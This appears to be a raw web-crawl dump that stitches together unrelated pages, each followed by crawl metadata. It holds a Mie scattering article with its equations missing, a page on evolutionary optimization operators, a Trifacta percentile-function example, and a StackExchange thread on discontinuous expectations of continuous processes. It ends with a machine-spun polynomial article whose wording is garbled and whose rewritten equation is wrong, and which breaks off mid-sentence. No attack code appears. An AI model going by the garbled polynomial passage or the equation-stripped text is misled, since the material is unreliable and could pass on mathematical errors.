msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:87b1366e-aed6-4f06-869e-56ae46a8b73d>\",\"WARC-Concurrent-To\":\"<urn:uuid:6befd3d9-fc8f-4140-9211-47eaa1da645e>\",\"WARC-IP-Address\":\"156.234.201.40\",\"WARC-Target-URI\":\"https://tianlang.in/movie/index113836.html\",\"WARC-Payload-Digest\":\"sha1:RWWP66UBBDOEB44M23OCM4U7JG55PSL5\",\"WARC-Block-Digest\":\"sha1:A2MAEG7BD2PIZ545CHPSBFVLRKM75JCT\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320305341.76_warc_CC-MAIN-20220128013529-20220128043529-00362.warc.gz\"}"}
http://www.thermopedia.com/content/137/	[ "# Mie solution for spherical particles\n\n## THE MIE SOLUTION FOR SPHERICAL PARTICLES\n\nLeading to: Limiting cases of the general Mie theory\n\nThe scheme of the problem is shown in Fig. 1.", null, "Figure 1. Scheme of the scattering problem for a spherical particle\n\nThe amount of scattering and absorption by a particle is usually expressed in terms of the scattering cross section Cs and absorption cross section Ca. The total amount of absorption and scattering, or extinction, is expressed in term of the extinction cross section Ct. The dimensionless efficiency factors are often used instead of cross sections,\n\n(1)", null, "Absorption and scattering of radiation by a two-layer spherical particle depend on the complex index of refraction of the core and mantle substances (m' = n'-iκ' and m'' = n''- iκ'', correspondingly) and also on diffraction parameters x' = 2πa'/λ, x'' = 2πa''/λ, where a' is the core radius, and a'' is the external radius of the particle.\n\nAccording to Mie theory, the efficiency factors of scattering and extinction are expressed in the form of the following series:\n\n(2)", null, "where complex coefficients ak, bk are called the Mie coefficients. The efficiency factor of absorption is determined as a difference, Qa = Qt - Qs. The terms in the Mie series correspond to the partial waves of different orders. The number of terms, which should be taken into account, increases with increasing the diffraction parameter. As a result, the calculations for particles of radius much greater than the wavelength are more complicated.\n\nThe angular characteristics of scattering are expressed by the following complex amplitude functions corresponding to perpendicular polarizations:\n\n(3a)", null, "(3b)", null, "Here, μ = cosθ, where θ is the angle of scattering measured from the direction of the incident radiation (see Fig. 1), and πk and τk are special angular functions defined later by Eq. (22). The scattering (phase) function for linear polarized incident radiation is\n\n(4)", null, "where\n\n(5)", null, "Angle φ is measured from the polarization plane of the incident radiation. For unpolarized (randomly polarized) incident radiation, the following relations hold true:\n\n(6)", null, "and the polarization degree of scattered radiation is\n\n(7)", null, "For calculating the asymmetry factor of scattering, one can use the Debye equation,\n\n(8)", null, "where the asterisk denotes a complex conjugate quantity. Remember that the asymmetry factor of scattering is defined as\n\n(9)", null, "According to Eq. (8), the value of μ does not depend on polarization of the incident radiation.\n\nThe Mie coefficients for two-layer spherical particles are determined by\n\n(10)", null, "where", null, "", null, "", null, "(11)", null, "and αk, βk, γk expressions will be given later [see Eqs. (17) and (18)].\n\nFor hollow particles, Eqs. (10) and (11) become\n\n(12)", null, "(13a)", null, "(13b)", null, "(13c)", null, "(13d)", null, "For homogeneous particles, the simplifications of the Mie coefficients are considerable,\n\n(14)", null, "For perfectly reflecting homogeneous particles (\|m\| → ∞),\n\n(15)", null, "and for two-layer particles with perfectly reflecting central core,\n\n(16a)", null, "(16b)", null, "(16c)", null, "(16d)", null, "Functions αk, βk, γk are expressed by the Riccati-Bessel functions ψk, ζk (Abramowitz and Stegun, 1965),\n\n(17)", null, "The Riccati-Bessel functions are related to the Bessel functions and the Hankel second-kind functions in a simple manner,\n\n(18)", null, "Two recursion relations,\n\n(19)", null, "and formulas for derivatives,\n\n(20)", null, "can be used in calculations of the Mie coefficients. As a result, we have the following expressions for logarithmic derivatives αk and βk:\n\n(21)", null, "Special angular functions πk, τk are expressed by associated Legendre polynomials,\n\n(22)", null, "and can be calculated following the recursion relations derived by Hosemann (1971),\n\n(23)", null, "For calculations employing Eqs. (19) and (23), it is necessary to know the following initial functions:\n\n(24a)", null, "(24b)", null, "(24c)", null, "We have now all the expressions for calculations of absorption and scattering of radiation by homogeneous, hollow, or two-layer spherical particles.\n\nThe calculations of the Riccati-Bessel functions based on recursion relations (19) starting from the first functions [(24a) and (24b)] up to higher-order functions (the so-called upward recursion) may lead to significant computational errors. The latter limitation is important in the case of large values of x and \|m\|x when the functions are of the order close to the argument are calculated with great error. This problem was overcome by Kattawar and Plass (1967), who showed that some components of the Riccati-Bessel functions are well calculated by using downward recursion. The detailed analysis of the accuracy and stability of several algorithms for Mie scattering calculations have been performed by Wiscombe (1980). A comparison of Mie scattering subroutines can be found in the paper by Felske et al. (1983). The reader can find the early FORTRAN codes for homogeneous and various two-layer particles in appendices of the books by Bohren and Huffman (1983) and Dombrovsky (1996). The algorithms for the general case of stratified spheres were presented by Toon and Ackerman (1981) and Bhandari (1985). Additional codes for multilayered spheres are listed by Flatau (2000) and Wriedt (2000). Note that the work on improving the Mie scattering algorithms continuesd. One can find some new results in recent papers by Yang (2003), Du (2004), Li et al. (2006), and Cai et al. (2008). A more detailed bibliography on this subject can be found in the recent monograph by Dombrovsky and Baillis (2010).\n\nFortunately, this advanced technique of the Mie calculations should only be used mainly in the limiting cases when the general solution is degenerated and reliable estimates can be obtained on the basis of known approximations. The geometrical optics approximation for very large particles is a good illustration of the latter statement, which is a particular case of the general observation, namely, one should find an alternative physical approach in the range when the ordinary procedure leads to more and more complicated mathematics.\n\n#### REFERENCES\n\nAbramowitz, M. and Stegun, I. A. (Eds.), Handbook of Mathematical Functions, Dover, New York, 1965.\n\nBhandari, R., Scattering coefficients for a multilayered sphere: analytic expressions and algorithms, Appl. Opt., vol. 24, no, 13, pp. 1960-1967, 1985.\n\nBohren, C. F. and Huffman, D. R., Absorption and Scattering of Light by Small Particles, Wiley, Hoboken, NJ, 1983.\n\nCai, W., Zhao, Y., and Ma, L., Direct recursion of the ratio of Bessel functions with applications to Mie scattering calculations, J. Quant. Spectrosc. Radiat. Transfer, vol. 109, no. 16, pp. 2673-2678, 2008.\n\nDombrovsky, L. A., Radiation Heat Transfer in Disperse Systems, Begell House, Redding, CT, and New York, 1996.\n\nDombrovsky, L. A. and Baillis, D., Thermal Radiation in Disperse Systems: An Engineering Approach, Begell House, Redding, CT, and New York, 2010.\n\nDu, H., Mie-scattering calculation, Appl. Opt., vol. 43, no. 9, pp. 1951-1956, 2004.\n\nFelske, J. D., Chu, Z. Z., and Ku, J. C., Mie scattering subroutines (DBMIE and MIEV0): A comparison of computational times, Appl. Opt., vol. 22, no. 15, pp, 2240-2241, 1983.\n\nFlatau, P. J., SCATTERLIB: Light Scattering Codes Library, atol.uscd.edu/~pflatau/scatlib/, 2000.\n\nHosemann, J. P., Computation of angular functions πn and τn occurring the Mie theory, Appl. Opt., vol. 10, no. 6, pp. 1452-53, 1971.\n\nKattawar, G. W. and Plass, G. N., Electromagnetic scattering from absorbing spheres, Appl. Opt., vol. 6, no. 8, pp. 1377-1382, 1967.\n\nLi, R., Han, X., Jiang, H., and Ren, K. F., Debye series for light scattering by a multilayered sphere, Appl. Opt., vol. 45, no. 6, pp. 1260-1270, 2006.\n\nToon, O. B. and Ackerman, T. P., Algorithms for the calculation of scattering by stratified spheres, Appl. Opt., vol. 20, no. 20, pp. 3657-3660, 1981.\n\nWiscombe, W. J., Improved Mie scattering algorithms, Appl. Opt., vol. 19, no. 9 pp. 1505-1509, 1980.\n\nWriedt, T., Electromagnetic scattering programs, www.t-matrix.de, 2000.\n\nYang, W., Improved recursive algorithm for light scattering by a multilayered sphere, Appl. Opt., vol. 42, no. 9, pp. 1710-1720, 2003.\n\n#### References\n\n1. Abramowitz, M. and Stegun, I. A. (Eds.), Handbook of Mathematical Functions, Dover, New York, 1965.\n2. Bhandari, R., Scattering coefficients for a multilayered sphere: analytic expressions and algorithms, Appl. Opt., vol. 24, no, 13, pp. 1960-1967, 1985.\n3. Bohren, C. F. and Huffman, D. R., Absorption and Scattering of Light by Small Particles, Wiley, Hoboken, NJ, 1983.\n4. Cai, W., Zhao, Y., and Ma, L., Direct recursion of the ratio of Bessel functions with applications to Mie scattering calculations, J. Quant. Spectrosc. Radiat. Transfer, vol. 109, no. 16, pp. 2673-2678, 2008.\n5. Dombrovsky, L. A., Radiation Heat Transfer in Disperse Systems, Begell House, Redding, CT, and New York, 1996.\n6. Dombrovsky, L. A. and Baillis, D., Thermal Radiation in Disperse Systems: An Engineering Approach, Begell House, Redding, CT, and New York, 2010.\n7. Du, H., Mie-scattering calculation, Appl. Opt., vol. 43, no. 9, pp. 1951-1956, 2004.\n8. Felske, J. D., Chu, Z. Z., and Ku, J. C., Mie scattering subroutines (DBMIE and MIEV0): A comparison of computational times, Appl. Opt., vol. 22, no. 15, pp, 2240-2241, 1983.\n9. Flatau, P. J., SCATTERLIB: Light Scattering Codes Library, atol.uscd.edu/~pflatau/scatlib/, 2000.\n10. Hosemann, J. P., Computation of angular functions Ï€n and Ï„n occurring the Mie theory, Appl. Opt., vol. 10, no. 6, pp. 1452-53, 1971.\n11. Kattawar, G. W. and Plass, G. N., Electromagnetic scattering from absorbing spheres, Appl. Opt., vol. 6, no. 8, pp. 1377-1382, 1967.\n12. Li, R., Han, X., Jiang, H., and Ren, K. F., Debye series for light scattering by a multilayered sphere, Appl. Opt., vol. 45, no. 6, pp. 1260-1270, 2006.\n13. Toon, O. B. and Ackerman, T. P., Algorithms for the calculation of scattering by stratified spheres, Appl. Opt., vol. 20, no. 20, pp. 3657-3660, 1981.\n14. Wiscombe, W. J., Improved Mie scattering algorithms, Appl. Opt., vol. 19, no. 9 pp. 1505-1509, 1980.\n15. Wriedt, T., Electromagnetic scattering programs, www.t-matrix.de, 2000.\n16. Yang, W., Improved recursive algorithm for light scattering by a multilayered sphere, Appl. Opt., vol. 42, no. 9, pp. 1710-1720, 2003." ]	[ null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b1x1.gif", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b1x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b2x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b3x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b4x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b5x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b6x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b7x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b8x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b9x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b10x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b12x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b13x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b14x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b15x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b16x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b17x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b18x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b19x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b20x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b21x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b22x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b24x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b25x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b26x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b27x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b28x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b29x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b30x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b31x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b32x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b33x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b34x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b35x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b36x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b37x.png", null, "http://www.thermopedia.com/content/4828/Dombrovsky_1-3C1b38x.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8248046,"math_prob":0.93925804,"size":10037,"snap":"2019-43-2019-47","text_gpt3_token_len":2721,"char_repetition_ratio":0.15468952,"word_repetition_ratio":0.3224568,"special_character_ratio":0.27617815,"punctuation_ratio":0.26721764,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98324364,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],"im_url_duplicate_count":[null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null,4,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-21T00:16:15Z\",\"WARC-Record-ID\":\"<urn:uuid:eaa72fb4-8f33-4256-ba13-263fb929fb08>\",\"Content-Length\":\"27754\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4c04be47-a8c9-4737-9a6e-60537c5ff3c0>\",\"WARC-Concurrent-To\":\"<urn:uuid:6ee40b8a-fcf0-419b-9186-78a3d3cfb93c>\",\"WARC-IP-Address\":\"169.45.5.27\",\"WARC-Target-URI\":\"http://www.thermopedia.com/content/137/\",\"WARC-Payload-Digest\":\"sha1:FOS7OLEPN3ZKU24FQ47SJH25CQ5KVIX2\",\"WARC-Block-Digest\":\"sha1:YNVGB5TX7FFO4DEVN7JUCLUT6GRSE5ZT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670643.58_warc_CC-MAIN-20191121000300-20191121024300-00144.warc.gz\"}"}
http://coin-lab.org/content/research/single_obj.html	[ "# Evolutionary Single-objective Optimization\n\nCOIN lab also addresses fundamental aspects of single-objective evolutionary algorithms and attempts to develop efficient methodologies. Some of Prof. Deb’s earlier studies are now used as default methodologies. The penalty parameter-less constraint handling approach (CMAME, 2000) is one such contribution. The simulated binary recombination (SBX) operator proposed in 1995 is another real-parameter recombination operator which is routinely used in EC studies and has also been adopted in commercial softwares. Similarly, polynomial mutation operator (suggested in Deb’s (2001) book) is another commonly-used EC operator. Currently, COIN lab is investigating a non-uniform mapping binary-coded genetic algorithm and its extension for a better application. Another study on creating an efficient initial population for limited budget application is interesting.", null, "## Parameter-less Constraint Handling\n\nConstraints are inevitable in practice. However, there has been a lukewarm interest shown by EMO researchers in making their algorithms applied to constrained problems. Research at COIN lab has always focused on unconstrained and constrained problems alike. In 2000, we developed a parameter-less constraint handling approach, which is now known as 'Deb's Parameter-less Approach'. Without using any parameter the methodology compares two solutions by emphasizing feasible over infeasible, less violated infeasible, and better objective-based feasible solutions. The idea can be implemented wither by changing the binary tournament selection or by defining a Fitness function using objective and constraint violations. The idea has also been extended for multi-objective optmization by redefining domination principle using 'constrained domination principle'.\n\n#### References\n\nDeb, K. (2000). An eﬃcient constraint handling method for genetic algorithms. Computer Methods in Applied Mechanics and Engineering, 186, 311–338.\n\nDeb, K., Pratap. A, Agarwal, S., and Meyarivan, T. (2002). A fast and elitist multiobjective genetic algorithm: NSGA-II. IEEE Transaction on Evolutionary Computation, 6(2), 181–197.\n\n## Real-parameter Recombination Operator - Simulated Binary Crossover\n\nWhile recombining two real-parameter vectors to create one or more real-parameter vectors, EC researchers have proposed ad-hoc procedures by restricting offsprings vectors to be picked uniformly from the region enclosed (or extended) by two parent vectors. In 1995, we have shown that if real variables are coded in long binary strings, the resulting single-point crossover operators will create offsprings which are not uniformly distributed, rather has a biased distribution closer to the parent vectors. This is due to the fact that there are more crossovers happen at the least significant bits resulting in near parent points. Based on this observation, we have proposed Simulated Binary Crossover (SBX) in which a non-dimensionalized probability distribution is used to create offsprings near parents variable wise. The distribution index eta_c controls the relative spread of offspring from parent. Higher eta_c means lesser spread. The idea was later extended to have Parent-centric crossover (PCX) operated vector-wise.\n\n#### References\n\nDeb, K. and Agrawal, R. B. (1995). Simulated binary crossover for continuous search space. Complex Systems, 9, 115–148.\n\nDeb, K. and Kumar, A. (1995). Real-coded genetic algorithms with simulated binary crossover: Studies on multimodal and multiobjective problems. Complex Systems, 9(6), 431–454.\n\nDeb, K. and Beyer, H.-G. (2001). Self-adaptive genetic algorithms with simulated binary crossover. Evolutionary Computation Journal, 9(2), 197–221.\n\nDeb, K., Joshi, D., and Anand, A. (2002). Real-coded evolutionary algorithms with parentcentric recombination. Proceedings of the Congress on Evolutionary Computation (CEC2002). (Honolulu, USA). (pp. 61–66).\n\n## Real-parameter Mutation Operator - Polynomial Mutation\n\nReal-parameter mutation means a perturbation of an existing parent vector to a neighboring vector. Gaussian probabilities are often used for such purposes with a user-defined variance. In polynomial mutation, a polynomial probability distribution was proposed which is similar in principle to Gaussian distribution. The distribution index eta_m controls the spread of mutated point from parent. Higher eta_m produces smaller spread. A comparison of polynomial mutation with Gaussian mutation can be found at the second reference given below.\n\n#### References\n\nDeb, K. (2001). Multi-objective optimization using evolutionary algorithms. Chichester, London: Wiley.\n\nDeb, K. and Deb, D. (2014). Analysing mutation schemes for real-parameter genetic algorithms. Int. J. Artiﬁcial Intelligence and Soft Computing, 4(1), Inderscience Enterprises Ltd., 1–28 (DOI: 10.1504/IJAISC.2014.059280)" ]	[ null, "http://coin-lab.org/images/research/constraint_handling.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8621001,"math_prob":0.6999195,"size":4828,"snap":"2023-40-2023-50","text_gpt3_token_len":1015,"char_repetition_ratio":0.112769485,"word_repetition_ratio":0.0031152647,"special_character_ratio":0.20629661,"punctuation_ratio":0.16140777,"nsfw_num_words":2,"has_unicode_error":false,"math_prob_llama3":0.96397686,"pos_list":[0,1,2],"im_url_duplicate_count":[null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-28T10:29:58Z\",\"WARC-Record-ID\":\"<urn:uuid:88f72ae6-96bd-41aa-a497-691d215e3200>\",\"Content-Length\":\"10128\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:7f3274d3-2ee6-4755-ad06-f2dcf7930881>\",\"WARC-Concurrent-To\":\"<urn:uuid:f2224d4b-da6a-4934-9dd7-e76d80f12598>\",\"WARC-IP-Address\":\"74.208.236.75\",\"WARC-Target-URI\":\"http://coin-lab.org/content/research/single_obj.html\",\"WARC-Payload-Digest\":\"sha1:34HCE6DGLOEFIORIRWHYB256X7ENL4VL\",\"WARC-Block-Digest\":\"sha1:Q7EKCOQRZTTIV42JU7SGNC5AQ6GDD3OG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233510387.77_warc_CC-MAIN-20230928095004-20230928125004-00038.warc.gz\"}"}
https://docs.trifacta.com/plugins/viewsource/viewpagesrc.action?pageId=177669551	[ "This example illustrates how you can apply the following percentile-related functions to your transformations:\n\n• MEDIAN - Calculate the median value from a column of values. See MEDIAN Function.\n• PERCENTILE - Calculate a specified percentile for a column of values. See PERCENTILE Function.\n• QUARTILE - Calculate a specified quartile for a column of values. See QUARTILE Function.\n\nThe following functions use an approximation technique for calculating median, percentile, and quartiles. In some cases, these calculations can be computed faster across large datasets.\n\nSource:\n\nThe following table lists each student's height in inches:\n\nStudentHeight\n164\n265\n363\n464\n562\n666\n766\n865\n969\n1066\n1173\n1269\n1369\n1461\n1564\n1661\n1771\n1867\n1973\n2066\n\nTransformation:\n\nUse the following transformations to calculate the median height in inches, a specified percentile and the first quartile.\n\n• The first function uses a precise algorithm which can be slow to execute across large datasets.\n• The second function uses an appropriate approximation algorithm, which is much faster to execute across large datasets.\n• These approximate functions can use an error boundary parameter, which is set to 0.4 (0.4%) across all functions.\n\nMedian: This transformation calculates the median value, which corresponds to the 50th percentile.", null, "", null, "Percentile: This transformation calculates the 68th percentile.", null, "", null, "Quartile: This transformation calculates the first quartile, which corresponds to the 25th percentile.", null, "", null, "Results:\n\nstudentIdheightInapproxPercentile25Inpercentile25InapproxPercentile68Inpercentile68InapproxMedianInmedianIn\n164646467.166.926666\n265646467.166.926666\n363646467.166.926666\n464646467.166.926666\n562646467.166.926666\n666646467.166.926666\n766646467.166.926666\n865646467.166.926666\n969646467.166.926666\n1066646467.166.926666\n1173646467.166.926666\n1269646467.166.926666\n1369646467.166.926666\n1461646467.166.926666\n1564646467.166.926666\n1661646467.166.926666\n1771646467.166.926666\n1867646467.166.926666\n1973646467.166.926666\n2066646467.166.926666" ]	[ null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null, "https://docs.trifacta.com/plugins/servlet/confluence/placeholder/macro", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.5014203,"math_prob":0.8504677,"size":2498,"snap":"2022-05-2022-21","text_gpt3_token_len":821,"char_repetition_ratio":0.2690457,"word_repetition_ratio":0.23880596,"special_character_ratio":0.4647718,"punctuation_ratio":0.14285715,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99591404,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-18T14:09:45Z\",\"WARC-Record-ID\":\"<urn:uuid:326d1817-af52-4615-a97b-783a9d256d7d>\",\"Content-Length\":\"20704\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:21f01cf1-08b2-4010-8dfa-466a04d4e4c8>\",\"WARC-Concurrent-To\":\"<urn:uuid:1550e122-b23e-4205-b8f6-7d5d98ce0710>\",\"WARC-IP-Address\":\"54.214.103.58\",\"WARC-Target-URI\":\"https://docs.trifacta.com/plugins/viewsource/viewpagesrc.action?pageId=177669551\",\"WARC-Payload-Digest\":\"sha1:ZXCTZU4NPYS5QL26RZ5OZAER6NX6D7MP\",\"WARC-Block-Digest\":\"sha1:Q423JTSQ4NOKVR3TNGVUJ2H6B5BWPUNJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320300849.28_warc_CC-MAIN-20220118122602-20220118152602-00320.warc.gz\"}"}
https://math.stackexchange.com/questions/570635/the-continuity-of-the-expectation-of-a-continuous-stochastic-procees	[ "# The continuity of the expectation of a continuous stochastic procees\n\nLet $X_t$ be a continuous stochastic process on a filtered space $(\\Omega, \\mathcal F, \\mathcal F_t, \\mathbb P)$.\n\nIs $\\mathbb E[X_t]$ necessarily a continuous function?\n\nMy first answer would be no. For example if $X_t$ admits densities $f(t,x)$, the first equality in:\n\n$$\\lim_{t \\rightarrow t_0} \\int_{\\mathbb R} x f(t, x) dx=\\int_{\\mathbb R} \\lim_{t \\rightarrow t_0} x f(t,x)=\\int_{\\mathbb R} x f(t_0,x)$$\n\nrequires $f$ to be continuous in $t$ uniformly in $x$ to hold.\n\nExamples where $\\mathbb E[X_t]$ is indeed continuous are abundant. Counterexamples where it is not? Thanks.\n\nOne counterexample is the following:\n\nLet $$B_s$$ be a standard Brownian motion, and let $$S = \\inf\\{s : B_s = 1\\}$$ be the first time it hits 1. Since Brownian motion is recurrent, $$S < \\infty$$ almost surely. Let $$Y_s = B_{s \\wedge S}$$; then $$Y_s$$ is a continuous martingale and $$\\lim_{s \\to \\infty} Y_s = 1$$ almost surely. Finally, let $$X_t = \\begin{cases} Y_{t/(1-t)}, & 0 \\le t < 1 \\\\ 1, & t \\ge 1.\\end{cases}$$ $$X_t$$ is continuous since $$\\lim_{t \\to 1^-} X_t = \\lim_{s \\to +\\infty} Y_s = 1$$. But for $$t < 1$$, we have $$E X_t = E Y_{t/(1-t)} = 0$$ since $$Y_s$$ is a martingale, and for $$t \\ge 1$$, $$E X_t = 1$$. So $$E X_t$$ is discontinuous.\n\n$$X_t$$ is a useful example to keep in mind; for instance, it is a local martingale with respect to its natural filtration, but not a martingale.\n\nEdit: Hans asks in comments whether we can have an example where the second moments are finite but discontinuous. The answer is yes. Let $$X_t$$ be as above and set $$Z_t = \\sqrt{1-X_t}$$. Note that $$X_t \\le 1$$ everywhere so the square root makes sense, and $$Z_t$$ is a continuous process. Then we have $$E[Z_t^2] = \\begin{cases} 1, & t < 1 \\\\ 0, & t \\ge 1 \\end{cases}$$ which is discontinuous. The second moments $$E[Z_t^2]$$ are not only finite but uniformly bounded.\n\nMoreover, if we wish to consider variance (centered second moment) instead, notice that by continuity of $$Z_t$$, as $$t \\uparrow 1$$ we have $$Z_t \\to Z_1 = 0$$ almost surely. Since we showed $$E[Z_t^2]$$ is uniformly bounded, we have that $$\\{Z_t\\}$$ is uniformly integrable (see https://math.stackexchange.com/a/184484/822), hence $$E Z_t \\to E Z_1 = 0$$. So as $$t \\uparrow 1$$, $$\\operatorname{Var}(Z_t) = E[Z_t^2] - (E Z_t)^2 \\to 1$$, whereas $$\\operatorname{Var}(Z_1) = 0$$.\n\n• Thank you very much Nate. It is staggering how stopping/time reversing can produce so many counterexamples Nov 17, 2013 at 18:20\n• What about the continuity of the second moment if the second moments are all finite?\n– Hans\nFeb 3, 2015 at 4:19\n• @Hans: Consider $\\sqrt{1-X_t}$. Feb 3, 2015 at 5:31\n• Thank you, Nate. I actually meant the variance. What is a counterexample in this case?\n– Hans\nFeb 3, 2015 at 5:58\n• @Hans: $Z_t = \\sqrt{1-X_t}$ still works. Of course we have $E Z_t^2 = 1$ for $t < 1$ and $0$ for $t \\ge 1$. But since $Z_t$ is $L^2$-bounded, it is uniformly integrable, so as $t \\uparrow 1$ we have $E Z_t \\to E Z_1 = 0$. So as $t \\uparrow 1$ we have $\\operatorname{Var}(Z_t) = E Z_t^2 - (E Z_t)^2 = 1 - (E Z_t)^2 \\to 1$, while $\\operatorname{Var}(Z_1) = 0$. Feb 3, 2015 at 7:26" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.85317564,"math_prob":1.0000015,"size":1706,"snap":"2022-40-2023-06","text_gpt3_token_len":595,"char_repetition_ratio":0.095182136,"word_repetition_ratio":0.0,"special_character_ratio":0.36811253,"punctuation_ratio":0.1253482,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000083,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-09-25T07:53:51Z\",\"WARC-Record-ID\":\"<urn:uuid:fa274379-dc18-478e-a99c-9ddf970aa684>\",\"Content-Length\":\"232357\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c03fff81-10d5-4c1b-b39a-ff0ebbd3bd19>\",\"WARC-Concurrent-To\":\"<urn:uuid:b1cfe633-69a4-495a-94d4-4a1157f60b0b>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/570635/the-continuity-of-the-expectation-of-a-continuous-stochastic-procees\",\"WARC-Payload-Digest\":\"sha1:AH767PMRGN3S26I7OSTHHMSMD22U5INE\",\"WARC-Block-Digest\":\"sha1:3YBNCTRM42W4KM4HXE7GPFZH2Z4U5ZIN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030334515.14_warc_CC-MAIN-20220925070216-20220925100216-00723.warc.gz\"}"}
https://cubinforcongress.com/what-is-the-distinction-between-polynomial-operate-polynomial-expression-and-polynomial-equation.html	[ "# What Is the Distinction Between Polynomial Operate, Polynomial Expression and Polynomial Equation?\n\nMore often than not, you may match a polynomial (or a polynomial expression) to the…", null, "More often than not, you may match a polynomial (or a polynomial expression) to the perform it depicts. There are conditions, although, if you’ll want to distinguish between the 2. In case your coefficients are in a subject of two parts (the place 1+1=0), as an example, the polynomials x+1 and x2+1 mirror the exact same perform as a result of whose values stay the identical as each member within the subject. In consequence, distinguishing between a polynomial and the perform it represents could be important in some disciplines of arithmetic, equivalent to up to date algebra and arithmetic foundations. More often than not, this isn’t an element to think about. 2 issues are equal, in response to an equation. The polynomial equation x3–x+2=x4+1, for instance, states that the 2 polynomials x3–3x+2 and x4+1 are equal. All sides of the equation is often zero. The equation 0=x4x2+x1 is logically equal to that closing equation. A solution of the equal polynomial equation f(x)=0 is a 